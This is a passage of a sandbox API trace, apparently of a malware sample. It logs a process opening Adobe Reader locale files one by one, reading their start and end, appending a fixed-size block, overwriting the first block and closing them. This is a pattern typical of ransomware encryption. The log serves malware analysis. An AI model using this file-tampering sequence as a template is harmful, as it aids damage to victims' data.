lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x354f278*=0x4000, lpOverlapped=0x0) returned 1 [0036.843] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x13200 [0036.843] ReadFile (in: hFile=0x1a0, lpBuffer=0x2770358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.848] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x13200 [0036.849] WriteFile (in: hFile=0x1a0, lpBuffer=0x2617c48*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x2617c48*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0036.849] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0036.849] WriteFile (in: hFile=0x1a0, lpBuffer=0x2617c48*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x2617c48*, lpNumberOfBytesWritten=0x354f28c*=0x4000, lpOverlapped=0x0) returned 1 [0036.849] CloseHandle (hObject=0x1a0) returned 1 [0036.849] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\services\\services.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0036.853] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0036.853] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0xe8 [0036.853] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0036.853] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.853] ReleaseMutex (hMutex=0x128) returned 1 [0036.853] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0036.853] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x1e6314c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0036.853] ReadFile (in: hFile=0x1ac, lpBuffer=0x25ea548, nNumberOfBytesToRead=0xe8, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25ea548*, lpNumberOfBytesRead=0x354f2bc*=0xe8, lpOverlapped=0x0) returned 1 [0036.854] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0036.854] WriteFile (in: hFile=0x1ac, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x670, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x354f2d0*=0x670, lpOverlapped=0x0) returned 1 [0036.854] CloseHandle (hObject=0x1ac) returned 1 [0036.855] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\DigSig.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\digsig.cze"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0036.855] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0036.855] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x1e000 [0036.855] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0036.855] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.855] ReleaseMutex (hMutex=0x128) returned 1 [0036.855] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.CZE", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0036.855] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.CZE", cchWideChar=10, lpMultiByteStr=0x1e6320c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.CZE", lpUsedDefaultChar=0x0) returned 10 [0036.855] ReadFile (in: hFile=0x1ac, lpBuffer=0x1de8de8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1de8de8*, lpNumberOfBytesRead=0x354f278*=0x4000, lpOverlapped=0x0) returned 1 [0036.862] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x1d000 [0036.863] ReadFile (in: hFile=0x1ac, lpBuffer=0x2770358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.863] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x1d000 [0036.863] WriteFile (in: hFile=0x1ac, lpBuffer=0x2770358*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0036.865] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0036.865] WriteFile (in: hFile=0x1ac, lpBuffer=0x1deaf48*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1deaf48*, lpNumberOfBytesWritten=0x354f28c*=0x4000, lpOverlapped=0x0) returned 1 [0036.865] CloseHandle (hObject=0x1ac) returned 1 [0036.865] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\ReadOutLoud.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\readoutloud.cze"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0036.870] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0036.870] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x2a00 [0036.870] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0036.870] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.870] ReleaseMutex (hMutex=0x128) returned 1 [0036.870] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.CZE", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0036.870] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.CZE", cchWideChar=15, lpMultiByteStr=0x1e6314c, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.CZE", lpUsedDefaultChar=0x0) returned 15 [0036.870] ReadFile (in: hFile=0x1a0, lpBuffer=0x2770358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.873] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x1a00 [0036.873] ReadFile (in: hFile=0x1a0, lpBuffer=0x2770358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.877] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x1a00 [0036.877] WriteFile (in: hFile=0x1a0, lpBuffer=0x2772388*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x2772388*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0036.878] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0036.878] WriteFile (in: hFile=0x1a0, lpBuffer=0x2772388*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x2772388*, lpNumberOfBytesWritten=0x354f28c*=0x1000, lpOverlapped=0x0) returned 1 [0036.878] CloseHandle (hObject=0x1a0) returned 1 [0036.878] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\accessibility.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\accessibility.dan"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0036.878] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0036.878] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0xa600 [0036.878] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0036.878] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.878] ReleaseMutex (hMutex=0x128) returned 1 [0036.878] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.DAN", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0036.878] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.DAN", cchWideChar=17, lpMultiByteStr=0x1e789ec, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.DAN", lpUsedDefaultChar=0x0) returned 17 [0036.878] ReadFile (in: hFile=0x1a0, lpBuffer=0x2610c48, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2610c48*, lpNumberOfBytesRead=0x354f278*=0x4000, lpOverlapped=0x0) returned 1 [0036.882] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x9600 [0036.882] ReadFile (in: hFile=0x1a0, lpBuffer=0x2770358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.884] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x9600 [0036.884] WriteFile (in: hFile=0x1a0, lpBuffer=0x27723b8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x27723b8*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0036.885] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0036.885] WriteFile (in: hFile=0x1a0, lpBuffer=0x1de4de8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de4de8*, lpNumberOfBytesWritten=0x354f28c*=0x4000, lpOverlapped=0x0) returned 1 [0036.885] CloseHandle (hObject=0x1a0) returned 1 [0036.885] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\IA32.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\ia32.dan"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0036.885] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0036.885] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0xe00 [0036.885] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0036.885] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.885] ReleaseMutex (hMutex=0x128) returned 1 [0036.885] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.DAN", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0036.886] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.DAN", cchWideChar=8, lpMultiByteStr=0x1e6342c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.DAN", lpUsedDefaultChar=0x0) returned 8 [0036.886] ReadFile (in: hFile=0x1a0, lpBuffer=0x2770358, nNumberOfBytesToRead=0xe00, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesRead=0x354f2bc*=0xe00, lpOverlapped=0x0) returned 1 [0036.887] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0036.888] WriteFile (in: hFile=0x1a0, lpBuffer=0x27721b8*, nNumberOfBytesToWrite=0x1388, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27721b8*, lpNumberOfBytesWritten=0x354f2d0*=0x1388, lpOverlapped=0x0) returned 1 [0036.888] CloseHandle (hObject=0x1a0) returned 1 [0036.888] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\SendMail.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\sendmail.dan"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0036.891] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0036.892] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x3e00 [0036.892] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0036.892] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.892] ReleaseMutex (hMutex=0x128) returned 1 [0036.892] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.DAN", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0036.892] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.DAN", cchWideChar=12, lpMultiByteStr=0x1e6342c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.DAN", lpUsedDefaultChar=0x0) returned 12 [0036.892] ReadFile (in: hFile=0x1a0, lpBuffer=0x2771388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2771388*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0037.177] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x2e00 [0037.177] ReadFile (in: hFile=0x1a0, lpBuffer=0x2771388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2771388*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0037.508] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x2e00 [0037.508] WriteFile (in: hFile=0x1a0, lpBuffer=0x1da5ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da5ed8*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.070] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0038.074] WriteFile (in: hFile=0x1a0, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x354f28c*=0x1000, lpOverlapped=0x0) returned 1 [0038.077] CloseHandle (hObject=0x1a0) returned 1 [0038.077] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\BRdlang32.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\brdlang32.deu"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0038.081] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0038.081] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x3600 [0038.084] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0038.084] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.084] ReleaseMutex (hMutex=0x128) returned 1 [0038.084] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.DEU", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0038.084] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.DEU", cchWideChar=13, lpMultiByteStr=0x1e633ec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.DEU", lpUsedDefaultChar=0x0) returned 13 [0038.084] ReadFile (in: hFile=0x1a0, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.100] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x2600 [0038.100] ReadFile (in: hFile=0x1a0, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.100] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x2600 [0038.100] WriteFile (in: hFile=0x1a0, lpBuffer=0x2772388*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x2772388*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.100] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0038.100] WriteFile (in: hFile=0x1a0, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x354f28c*=0x1000, lpOverlapped=0x0) returned 1 [0038.100] CloseHandle (hObject=0x1a0) returned 1 [0038.101] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\PPKLITE.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\ppklite.deu"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0038.101] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0038.101] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x88400 [0038.101] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0038.101] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.101] ReleaseMutex (hMutex=0x128) returned 1 [0038.101] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.DEU", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.101] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.DEU", cchWideChar=11, lpMultiByteStr=0x1e6320c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.DEU", lpUsedDefaultChar=0x0) returned 11 [0038.101] ReadFile (in: hFile=0x1a0, lpBuffer=0x2720cd8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2720cd8*, lpNumberOfBytesRead=0x354f278*=0xf000, lpOverlapped=0x0) returned 1 [0038.105] ReadFile (in: hFile=0x1a0, lpBuffer=0x2720cd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2720cd8*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.106] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x87400 [0038.106] ReadFile (in: hFile=0x1a0, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.107] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x87400 [0038.108] WriteFile (in: hFile=0x1a0, 